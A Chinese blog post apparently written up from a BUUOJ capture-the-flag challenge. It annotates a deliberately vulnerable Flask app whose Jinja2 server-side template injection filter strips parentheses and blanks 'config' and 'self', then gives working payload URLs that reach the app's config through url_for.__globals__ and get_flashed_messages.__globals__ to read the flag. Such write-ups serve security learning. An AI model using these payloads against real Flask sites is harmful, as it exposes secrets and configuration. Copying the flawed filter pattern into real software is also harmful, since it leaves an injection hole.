首页 > 编程语言 >测试遇到的代码(python)

测试遇到的代码(python)

时间:2022-11-10 21:24:15浏览次数:75  
标签:__ python 代码 buuoj url shrine 测试 config app

目录:


 

 


 

第一部分:

1、SSTI类型

import flask
import os

app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')

@app.route('/')
def index():
    return open(__file__).read()

@app.route('/shrine/<path:shrine>')
def shrine(shrine):

    def safe_jinja(s):
        s = s.replace('(', '').replace(')', '')   //过滤掉()
        blacklist = ['config', 'self'] //禁止传入的内容中出现config 和 self,但若是python的内置函数中则可以出现
        return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s
//返回 {% set config=None%}{% set self=None%}+s的内容(截图3)
//如{% set config=None%}{% set self=None%}`d`

    return flask.render_template_string(safe_jinja(shrine))

if __name__ == '__main__':
    app.run(debug=True)


注入方式在
http://aac92787-941f-4e52-bf27-56118e7fa284.node4.buuoj.cn:81/shrine/{{5*5}}

观察代码,发现我们传入的之中若是含有(),则会被过滤:
表示我们不能进行命令注入,如:system('ls')
也不能使用python中的魔术方法
利用python里面的内置函数,比如url_for和get_flashed_messages

config 对象:
config 对象就是Flask的config对象,也就是 app.config 对象。
{{ config.SQLALCHEMY_DATABASE_URI }}
url_for() 方法:
url_for() 会返回视图函数对应的URL。如果定义的视图函数是带有参数的,则可以将这些参数作为命名参数传入。
get_flashed_messages() 方法:
返回之前在Flask中通过 flash() 传入的闪现信息列表。把字符串对象表示的消息加入到一个消息队列中,然后通过调用 get_flashed_messages() 方法取出(闪现信息只能取出一次,取出后闪现信息会被清空)。
url_for后面记得加.__globals__才看的到全局变量

构造payload查看全局变量
http://aac92787-941f-4e52-bf27-56118e7fa284.node4.buuoj.cn:81/shrine/{{url_for.__globals__}}
或者:
http://aac92787-941f-4e52-bf27-56118e7fa284.node4.buuoj.cn:81/shrine/{{get_flashed_messages.__globals__}}

构造payload查看变量信息:
flag在当前的配置变量中 'current_app': <Flask 'app'>
http://aac92787-941f-4e52-bf27-56118e7fa284.node4.buuoj.cn:81/shrine/{{url_for.__globals__['current_app'].config}}
或者:
http://aac92787-941f-4e52-bf27-56118e7fa284.node4.buuoj.cn:81/shrine/{{get_flashed_messages.__globals__['current_app'].config}}

https://blog.csdn.net/ANYOUZHEN/article/details/125106167
https://www.cnblogs.com/a16n/p/12850773.html

 

标签:__,python,代码,buuoj,url,shrine,测试,config,app
From: https://www.cnblogs.com/yiyajinluo/p/16878822.html

相关文章